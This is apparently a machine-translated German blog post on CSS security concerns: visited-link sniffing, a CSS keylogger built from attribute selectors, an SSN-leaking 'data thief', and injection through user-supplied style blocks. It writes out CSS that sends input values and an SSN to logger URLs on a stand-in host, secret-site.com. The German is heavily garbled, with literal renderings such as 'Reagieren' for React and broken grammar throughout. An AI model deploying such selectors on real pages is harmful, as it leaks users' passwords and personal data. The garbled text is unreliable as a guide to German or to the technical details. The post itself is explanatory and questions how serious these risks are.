CSS Sicherheitslücken

0
7

Nicht gelesen, die überschrift und besorgt. Ich glaube nicht, dass CSS ist eine besonders gefährliche Sicherheit betreffen und zum größten Teil, ich glaube nicht, dass Sie sich sorgen machen müssen Sie es.

Aber jeder einmal in eine Weile, Artikel neigen dazu, zu zirkulieren und Holen Sie sich einige Aufmerksamkeit auf die Möglichkeiten dessen, was mit CSS machen kann, die vielleicht überraschen wird, oder sorgen Sie.

Hier ein kleines roundup.

Der Besuchte Link Betreffen

Dieser geht so:

  1. Setzen Sie einen link zu einer bestimmten Seite auf Ihrer Website, sagen, dass <a href=”https://i-tickle-pigs.com”>Kitzeln Schweine</a>
  2. Sie Stil des besuchten Staates, dass link a:visited { color: pink; } das ist nicht ein Standard-Benutzer-agent-Stil.
  3. Testen Sie die berechnete style der link.
  4. Wenn es pink ist, dieser user ist ein Schwein tickler.
  5. Sie berichten, dass Schweine-kitzeln Informationen zurück an einen server irgendwo und vermutlich verdreifachen Sie Ihre Schwein zu besitzen-Versicherung Preise so sicher, die Schweine leiden, extreme seelische Belastung über alle kitzeln.

Sie könnten sogar in der Lage, es zu tun, ganz im CSS, denn :besuchte Stil könnte wie background-image: url(/data-logger/tickle.php das ist nur dann angefordert, von Schwein ticklers.

Besorgt? Nicht, Browser haben alle verhindert dies möglich.

Der Keylogger

Dieser geht so:

  1. Es ist ein input auf der Seite. Vielleicht eine Passwort-Eingabe. Beängstigend!
  2. Legen Sie einen logger-Skript als Wert für die Eingabe ist das Hintergrundbild, sondern auch eine Milliarde mehr Selektoren einfach so, so dass der logger zu sammeln und zu berichten, einige oder alle der Passwort.

input[value^=”a”] { background: url(logger.php?v=a); }

Dieses ist nicht so einfach. Das value-Attribut eines input nicht ändern, nur weil Sie geben Sie es in. Es tut manchmal in frameworks wie Reagieren obwohl, so dass, wenn Sie rutschen waren dieses CSS auf eine login-Seite powered by Reagieren und kodiert auf diese Weise dann, theoretisch, diese CSS-powered keylogger funktionieren könnte.

Aber… in diesem Fall JavaScript ausgeführt wird, dass die Seite sowieso. JavaScript ist 1000× mehr über, als mit CSS für Dinge wie diese. Ein keylogger in JavaScript ist nur ein paar Zeilen code gerade für Tastendruck-Ereignisse und berichten über Ajax.

Dritter und XSS injiziert inline-JavaScript wird nun beendet mit Content Security Policy (CSP)… aber so ist CSS.

Der Daten-Dieb

Dieser geht so:

  1. Wenn ich einige meiner ruchlosen CSS auf eine Seite, wo Sie die Authentifizierung in einer Website…
  2. Und diese Website vertrauliche Informationen zeigt, wie eine social security number (SSN) in einem bereits ausgefüllten Formular…
  3. Ich können Attribut-Selektoren, um es herauszufinden.

input#ssn[value=”123-45-6789″] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Ein Milliarden-Selektoren und Sie haben alle Möglichkeiten!

Die inline-style-block whoopsie

Ich weiß nicht, ob ich Schuld CSS unbedingt, aber stellen Sie sich vor:

<style>
… Drop-in einigen user-generated-Zeug …
</style>

Vielleicht ermöglichen Sie dem Benutzer einige CSS-Anpassungen gibt. Das ist eine Angriffsmethode, als könnten Sie schließen, dass die Stil-Tags, öffnen Sie ein script-tag, und schreiben ruchlosen JavaScript.

Ich bin sicher, es gibt ein paar mehr

Got ’em? Anteil ’em.

Lack mich ein wenig skeptisch war, wie entsetzt ich sollte über CSS Sicherheitslücken. Ich will nicht herunterspielen Sicherheit zu viel (vor allem third-party betrifft), denn ich bin kein Experte und Sicherheit ist von größter Bedeutung, aber zur gleichen Zeit, ich habe noch nie hörte einmal von CSS wird die Angriffsmethode für alles, was außerhalb der Gedankenspiele. Erziehe mich!